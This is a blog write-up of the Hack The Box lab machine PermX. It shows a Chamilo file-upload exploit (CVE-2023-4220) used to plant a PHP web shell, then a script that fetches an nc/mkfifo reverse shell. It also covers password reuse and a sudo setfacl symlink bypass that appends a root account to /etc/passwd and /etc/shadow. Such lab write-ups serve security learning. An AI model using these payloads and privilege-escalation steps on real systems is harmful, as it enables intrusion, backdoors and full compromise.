[HackTheBox] PermX

jamarirjamarir
12 min read

Just another WebShell / Sudo abuse Write-up.

As a side-node, as this Hack The Box blog states: It is Okay to Use Writeups. The more time you spend after getting the root flag on the box, the more you’ll learn.

Link: https://app.hackthebox.com/machines/PermX

IppSec Walkthrough.

Footprinting

Open ports

Only the standard SSH and HTTP services are discovered via the Nmap scan:

kali@kali:~$ ip=10.10.11.23; sudo nmap -sS -p- -v -Pn --disable-arp-ping -oA syn_full --open $ip; nmap -Pn --disable-arp-ping -sC -s
V -v -oA nse $ip -p$(grep -oP '^\d*(?=/)(?=.* open )' syn_full.nmap |sort -u |tr '\n' ',' |grep -oP '.*(?=,)')
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

As shown in the Nmap output, there's a redirection to permx.htb, let's add that to our local hostnames:

kali@kali:~$ sudo sed -i '1i 10.10.11.23 permx.htb'

eLEARNING

The web app is basically an eLEARNING platform:

Down the rabbit holes

It might be interesting to note some of the names present in the app:

There are: John Doe, Emma, Sarah, Johny, James

I tried an XSS injection in the following form, but nothing came back from a possible admin target reading the post:

kali@kali:~$ php -S 0.0.0.0:48888

LMS Subdomain huh ?

Then I tried a subdomain enumeration, which discloses 2 valid virtual host subdomains:

kali@kali:~$ ffuf -v -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fw 18 -u http://permx.htb/ -t 50 -H "Host: FUZZ.permx.htb" -of json -o ffuf_vhosts.json
[Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 36ms]
| URL | http://permx.htb/
    * FUZZ: www
[Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 54ms]
| URL | http://permx.htb/
    * FUZZ: lms

Thus, we may use the Burp's Match & Replace feature to update the Host header for every request going through Burp:

Interestingly, this brings us to an LMS portal:

VHOST discussion

Note that the Host header in the request is actually lms.permx.htb, which differs from the URL in the image above:

Some intercepting proxies derive the target IP address from the Host header directly, which makes this kind of testing all but impossible; any changes you made to the header would just cause the request to be sent to a completely different IP address. However, Burp Suite accurately maintains the separation between the Host header and the target IP address. This separation allows you to supply any arbitrary or malformed Host header that you want, while still making sure that the request is sent to the intended target.

By default, the Host header is the URL's domain put in the browser. However, the LMS Portal is loading, in its HTML responses, resources (mostly CSS and JS files) pointing to that new lms.permx.htb domain. However, this domain name isn’t present yet in the /etc/hosts file. So only the LMS portal can be loaded, because I statically updated the Host header’s value to lms.permx.htb, while keeping the known target permx.htb in the URL.

Then, let's add add it to our /etc/hosts for the browser to know which IP these resources are pointing to:

kali@kali:~$ sudo sed -i '1i 10.10.11.23 lms.permx.htb www.permx.htb permx.htb' /etc/hosts

Rabbit hole (again..)

It's worth noting the server hosting the web application is Ubuntu, and uses Apache 2.4.52:

Let's fuzz its resources:

kali@kali:~$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://lms.permx.htb/FUZZ -t 50 -v -fw 20 -fc 404,418 -of json -o ffuf.json -recursion -recursion-depth 5 -replay-proxy http://127.0.0.1:8080 -e php,sh,py,cgi,db; cat ffuf.json |jq 'del(.results[]|select(.status==403))|.results[]|.status,.url'

While navigating into the found resources, I got this interesting parameters.yml.dist file:

>>>
GET /app/config/parameters.yml.dist HTTP/1.1
Host: lms.permx.htb

<<<
[...]
parameters:
    database_driver: pdo_mysql
    database_host: 127.0.0.1
    database_port: ~
    database_name: chamilo111
    database_user: root
    database_password: root
    mailer_transport: smtp
    mailer_host: 127.0.0.1
    mailer_user: ~
    mailer_password: ~
    # A secret key that's used to generate certain security-related tokens
    secret: ThisTokenIsNotSoSecretChangeIt
    password_encryption: sha1
[...]
    sonata_page.varnish.command: 'if [ ! -r "/etc/varnish/secret" ]; then echo "VALID ERROR :/"; else varnishadm -S /etc/varnish/secret -T 127.0.0.1:6082 {{ COMMAND }} "{{ EXPRESSION }}"; fi;'
    locales: [en, fr, es, de]

Which interestingly contains the outputs: chamilo111, root, mysql, ThisTokenIsNotSoSecretChangeIt.

In the robots.txt file, I can't see any online user from the disclosed resources:

>>>
GET /robots.txt HTTP/1.1
Host: lms.permx.htb

<<<
# Directories
Disallow: /app/
Disallow: /bin/
Disallow: /documentation/
Disallow: /home/
Disallow: /main/
Disallow: /plugin/
Disallow: /tests/
Disallow: /vendor/

# Files
Disallow: /license.txt
Disallow: /README.txt
Disallow: /whoisonline.php
Disallow: /whoisonlinesession.php

CVE-2023-4220 ? It’s not a vuln, it’s a feature

However, an upload feature vulnerability exists in Chamilo. Looking at the bash's script of this CVE, we see it all depends on a curl -F command (Form file upload):

kali@kali:~$ curl -F "bigUploadFile=@$reverse_file" "$host_link/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported" -x http://127.0.0.1:8080
>>>
POST //main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
Host: lms.permx.htb
User-Agent: curl/8.10.1
Accept: */*
Content-Length: 555
Content-Type: multipart/form-data; boundary=------------------------fEvIcg5GiwgM8asZLcOAgD
Connection: keep-alive

--------------------------fEvIcg5GiwgM8asZLcOAgD
Content-Disposition: form-data; name="bigUploadFile"; filename="cmd-simple.php"
Content-Type: application/octet-stream

<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

--------------------------fEvIcg5GiwgM8asZLcOAgD--

<<<
The file has successfully been uploaded.

We can confirm this endpoint exists, as the HTTP code status is 200:

>>>
GET /main/inc/lib/javascript/bigupload/inc/bigUpload.php HTTP/1.1
Host: lms.permx.htb

<<<
HTTP/1.1 200 OK

So let's upload a simple PHP webshell from Seclists ourselves:

kali@kali:~$ curl -F "bigUploadFile=@/usr/share/seclists/Web-Shells/FuzzDB/cmd-simple.php" "http://lms.permx.htb//main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported"
The file has successfully been uploaded.%

As shown in the exploit's github page, our wonderful webshell popped !!

The bash nc mkfifo reverse shell works, let's script it:

kali@kali:~$ cat revshell.sh
#!/bin/bash
lhost=$(ip a s tun0 |grep -oP '\s*inet \K[0-9.]+(?=/\d{2})')
[ -z "$1" ] && lport="4444" || lport="$1"
curl -F "bigUploadFile=@/usr/share/seclists/Web-Shells/FuzzDB/cmd-simple.php" "http://lms.permx.htb//main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported"
(sleep .1; curl "http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/cmd-simple.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|bash+-i+2>%261|nc+$lhost+$lport>/tmp/f" &)
nc -nlvp $lport
kali@kali:~$ bash revshell.sh 4445
The file has successfully been uploaded.listening on [any] 4445 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.23] 56516
bash: cannot set terminal process group (1190): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$

In this script, I launched curl reverse shell in a background process, and in a subshell using the ( &) syntax, to make sure I can run the next command in parallel (the nc listener), and that when the command ends, it stays silent:

kali@kali:~$ sleep 1 &
[2] 420157
[2]  - 420157 done       sleep 1
kali@kali:~$ (sleep 1 &)
(no output)

Also, I added a little sleep before the previous curl command, to make sure I run the nc listener first.

Finally, make sure you clean behind you by deleting the webshell :)

The vulnerable Chamilo code is simply not veryfying uploaded files’ types, contents, etc. (see portswigger’s blog for more details):

mtz@permx:/tmp$ cat /var/www/chamilo/main/inc/lib/javascript/bigupload/inc/bigUpload.php |grep -v '^\s*//' |sed -e '/^\s*\/\*/,/\s*\*\//d' |sed '/^$/d'
<?php
require_once '../../../../global.inc.php';
require_once api_get_path(SYS_CODE_PATH).'work/work.lib.php';
class BigUploadResponse
{
    const TEMP_DIRECTORY = '/tmp/';
    const MAIN_DIRECTORY = '../files/';
    private $maxSize;
    private $tempDirectory;
    private $mainDirectory;
    private $tempName;
    [...]
    public function postUnsupported()
    {
        $name = $_FILES['bigUploadFile']['name'];
        $size = $_FILES['bigUploadFile']['size'];
        $tempName = $_FILES['bigUploadFile']['tmp_name'];
        if (filesize($tempName) > $this->maxSize) {
            return get_lang('UplFileTooBig');
        }
        if (move_uploaded_file($tempName, $this->getMainDirectory().$name)) {
            return get_lang('FileUploadSucces');
        } else {
            return get_lang('UplUnableToSaveFile');
        }
    }
}
[...]
switch ($_GET['action']) {
    [...]
    case 'post-unsupported':
        print $bigUpload->postUnsupported();
        break;
}

Privilege Escalation

www-data

Linpeas found this:

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
lrwxrwxrwx 1 root root 47 Jan 20  2024 /etc/apache2/sites-enabled/lms.permx.htb.permx.htb.conf -> ../sites-available/lms.permx.htb.permx.htb.conf
<VirtualHost *:80>
        ServerName lms.permx.htb
        ServerAdmin admin@permx.htb
        DocumentRoot /var/www/chamilo
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
-rwxr-xr-x 1 www-data www-data 39 Nov  3  2022 /var/www/chamilo/vendor/knplabs/gaufrette/docker/php/php.ini
/var/www/chamilo/main/inc/lib/phpseclib/Crypt/RSA.php
/var/www/chamilo/app/Resources/public/assets/simpleWebRTC/fakekeys/privatekey.pem
/var/www/chamilo/web/assets/simpleWebRTC/fakekeys/privatekey.pem
/var/www/chamilo/vendor/phpseclib/phpseclib/phpseclib/Crypt/RSA.php
/var/www/chamilo/vendor/onelogin/php-saml/src/Saml2/Utils.php
/var/www/chamilo/vendor/firebase/php-jwt/README.md
[...]
╔══════════╣ Analyzing Env Files (limit 70)
[...]
FTP_PORT=21
FTP_USER=gaufrette
FTP_PASSWORD=gaufrette
FTP_BASE_DIR=/gaufrette
MONGO_URI=mongodb://mongodb:27017
MONGO_DBNAME=gridfs_test
SFTP_HOST=sftp
SFTP_PORT=22
SFTP_USER=gaufrette
SFTP_PASSWORD=gaufrette
SFTP_BASE_DIR=gaufrette
[...]
/var/www/chamilo/app/config/configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

Down another rabbit hole (you thought you were free ?)

Thus, looking at this last config file reveals (I removed all the comments using some Regex magic):

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ cat /var/www/chamilo/app/config/configuration.php |grep -v '^\s*//' |sed -e '/^\s*\/\*/,/\s*\*\//d' |sed '/^$/d'
<?php
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['db_manager_enabled'] = false;
$_configuration['root_web'] = 'http://lms.permx.htb/';
$_configuration['root_sys'] = '/var/www/chamilo/';
$_configuration['url_append'] = '';
$_configuration[1]['hosting_limit_users'] = 0;
$_configuration[1]['hosting_limit_teachers'] = 0;
$_configuration[1]['hosting_limit_courses'] = 0;
$_configuration[1]['hosting_limit_sessions'] = 0;
$_configuration[1]['hosting_limit_disk_space'] = 0;
$_configuration[1]['hosting_limit_active_courses'] = 0;
$_configuration['hosting_total_size_limit'] = 0;
$_configuration['cdn_enable'] = false;
$_configuration['cdn'] = [
    'http://cdn.chamilo.org' => [
        '.css',
        '.js',
        '.jpg',
        '.jpeg',
        '.png',
        '.gif',
        '.avi',
        '.flv',
    ],
];
$_configuration['security_key'] = '08ecc755d674efaa6b1ab289e6053a9b';
$_configuration['password_encryption'] = 'bcrypt';
$_configuration['session_stored_in_db'] = false;
$_configuration['session_lifetime'] = 360000;
$_configuration['software_name'] = 'Chamilo';
$_configuration['software_url'] = 'https://chamilo.org/';
$_configuration['deny_delete_users'] = false;
$_configuration['system_version'] = '1.11.24';
$_configuration['system_stable'] = true;

Then, we can grab database information using standard MySQL commands:

  • Databases:
www-data@permx:/tmp$ mysql -u chamilo --password='03F6lY3uXAP2bkW8' -h 127.0.0.1 --ssl-verify-server-cert=false -e "SHOW DATABASES;"
+--------------------+
| Database           |
+--------------------+
| chamilo            |
| information_schema |
+--------------------+
  • Table names:
mtz@permx:~$ mysql -u chamilo --password='03F6lY3uXAP2bkW8' -h 127.0.0.1 --ssl-verify-server-cert=false -A
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 32
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> USE chamilo;
Database changed
MariaDB [chamilo]> SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema != 'information_schema';
+-------------------------------------+--------------+
| table_name                          | table_schema |
+-------------------------------------+--------------+
| tag                                 | chamilo      |
[...]
| user                                | chamilo      |
[...]
| c_forum_thread_qualify              | chamilo      |
+-------------------------------------+--------------+
  • user’s entries’ attributes, which show some hashes !
www-data@permx:/tmp$ mysql -u chamilo --password='03F6lY3uXAP2bkW8' -h 127.0.0.1 --ssl-verify-server-cert=false -e "USE chamilo; SELECT * FROM user;"| id | user_id | username | username_canonical | email_canonical       | email                 | locked | enabled | expired | credentials_expired | credentials_expire_at | expires_at | lastname  | firstname | password                                                     | phone           | address | salt                                        | last_login          | created_at | updated_at | confirmation_token | password_requested_at | roles                              | profile_completed | auth_source | status | official_code | picture_uri | creator_id | competences | diplomas | openarea | teach | productions | language | registration_date   | expiration_date | active | openid | theme | hr_dept_id |
[...]
+----+---------+----------+--------------------+-----------------------+-----------------------+--------+---------+---------+---------------------+-----------------------+------------+-----------+-----------+--------------------------------------------------------------+-----------------+---------+---------------------------------------------+---------------------+------------+------------+--------------------+-----------------------+------------------------------------+-------------------+-------------+--------+---------------+-------------+------------+-------------+----------+----------+-------+-------------+----------+---------------------+-----------------+--------+--------+-------+------------+
|  1 |       1 | admin    | admin              | admin@permx.htb       | admin@permx.htb       |      0 |       1 |       0 |                   0 | NULL                  | NULL       | Miller    | Davis     | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra | (000) 001 02 03 |         | awb0kMoTumbFvi22ojwv.Pg92gFTMOt837kWsGVbJN4 | 2024-01-20 18:44:07 | NULL       | NULL       | NULL               | NULL                  | a:1:{i:0;s:16:"ROLE_SUPER_ADMIN";} |              NULL | platform    |      1 | ADMIN         |             |          0 | NULL        | NULL     | NULL     | NULL  | NULL        | english  | 2024-01-20 18:20:32 | NULL            |      1 | NULL   | NULL  |          0 |
|  2 |       2 | anon     | anon               | anonymous@example.com | anonymous@example.com |      0 |       1 |       0 |                   0 | NULL                  | NULL       | Anonymous | Joe       | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |                 |         | Mr1pyTT.C/oEIPb/7ezOdrCDKM.KHb0nrXAUyIyt/MY | NULL                | NULL       | NULL       | NULL               | NULL                  | a:0:{}                             |              NULL | platform    |      6 | anonymous     |             |          0 | NULL        | NULL     | NULL     | NULL  | NULL        | english  | 2024-01-20 18:20:32 | NULL            |      1 | NULL   | NULL  |          0 |

However, the state of the art shows that these bcrypt of hashes really hard to crack for long passwords, and I can’t crack them...

mtz ? Password reusage ? Really ?!

This was me when I realized the database’s password retrieved earlier is actually also used by the mtz, found in the /etc/passwd file...

Anyway, we can compromise mtz:

www-data@permx:/var/www/chamilo$ su mtz
Password: 03F6lY3uXAP2bkW8
mtz@permx:/var/www/chamilo$

The user flag is:

mtz@permx:~$ cat user.txt
0a[...]03

I won't be that upset of losing these hours, as it was the occasion to learn more regex stuff, and SQL stuff ... at least :)

Root

Sounds izi, user mtz is allowed to execute the /opt/acl.sh script as any user with no password asked. In particular, we may run the script as root via sudo (no password required):

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Jump from the future: with root access, we can see the /etc/sudoers configurations:

root@permx:~# grep -v '^#' /etc/sudoers |sed '/^$/d'
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults        use_pty
root    ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo   ALL=(ALL:ALL) ALL
@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh

The sudoers’s syntax can be seen in the sudoers’s manual. The basic syntax is who where = (as_whom) what:

Thus, mtz is allowed to run, on any host (permx in particular), as any user or group, the command /opt/acl.sh with no password.

Unless runas_default is defined defined, the root user is used by default, which is the case here. Indeed, runas_default isn’t configured in the sudo -l's output.

We can read that script’s content, which is:

mtz@permx:~$ ll /opt/acl.sh
-rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh*
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

All the binaries (e.g. /usr/bin/echo, /usr/bin/sudo) are specified by absolute paths, so no relative path compromision is possible here.

In a nutshell, this script is performing a standard setfacl command, a utility used to give permissions to users on files (SETFileACL):

setfacl -m u:"$user":"$perm" "$target"

So we might be tempted to give ourselves access to the /etc/shadow for example ?

mtz@permx:~$ sudo /opt/acl.sh mtz r /etc/shadow
Access denied.

The access is denied, because our target input doesn't match the GLOB pattern /home/mtz/*. Also, we can't simply bypass this by adding .., as they're also forbidden:

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

What about a symbolic link to shadow in our legitimate home directory ?

mtz@permx:~$ ln -s /etc/shadow shadow
mtz@permx:~$ ll shadow
lrwxrwxrwx 1 mtz mtz 11 Oct 28 21:12 shadow -> /etc/shadow

Well, that was an easy bypass !

mtz@permx:~$ sudo /opt/acl.sh mtz r /home/mtz/shadow
mtz@permx:~$ head -1 /etc/shadow
root:$y$j9T$VEMcaSLaOOvSE3mYgRXRv/$tNXYdTRyCAkwoSHhlyIoCS91clvPEp/hh0r4NTBlmS7:19742:0:99999:7:::

Thus, we may add a new root user (root1337:root1337) in that shadow file by giving ourselves write access !

kali@kali:~$ u=root1337; p=root1337; echo "echo '$u:x:0:0:$u:/tmp:/bin/bash' >> /etc/passwd"; echo "echo '$u:$(mkpasswd -m sha-512 $p SomeRandomsalt):19075:0:99999:7:::' >> /etc/shadow"
echo 'root1337:x:0:0:root1337:/tmp:/bin/bash' >> /etc/passwd
echo 'root1337:$6$SomeRandomsalt$xOcczDhnExqU3sS7lOCxOOoxGJA9nkr.2GCvBH3cIxT4h3M91KKVY3HjGutfYSdIaq.S3WRkceWBZLWttLF1k.:19075:0:99999:7:::' >> /etc/shadow
mtz@permx:~$ for f in passwd shadow; do rm -f $f; ln -s /etc/$f $f; sudo /opt/acl.sh mtz rwx /home/mtz/$f; done
mtz@permx:~$ echo 'root1337:x:0:0:root1337:/tmp:/bin/bash' >> /etc/passwd
mtz@permx:~$ echo 'root1337:$6$SomeRandomsalt$xOcczDhnExqU3sS7lOCxOOoxGJA9nkr.2GCvBH3cIxT4h3M91KKVY3HjGutfYSdIaq.S3WRkceWBZLWttLF1k.:19075:0:99999:7:::' >> /etc/shadow

Note that we can specify the root1337’s password hash in the /etc/shadow file, but then, we need to create an entry for this new user in the /etc/passwd file. Without an entry in /etc/passwd, we won’t be able to login as root1337, as it won’t exist for the system:

mtz@permx:~$ su root1337
su: user root1337 does not exist or the user entry does not contain all the required fields

We got root via the creds root1337:root1337 !

mtz@permx:~$ su root1337
root@permx:~# cat /root/root.txt
d8[...]46

2
Subscribe to my newsletter

Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

jamarir
jamarir

Pentester, CTF player, Game Modding enthusiast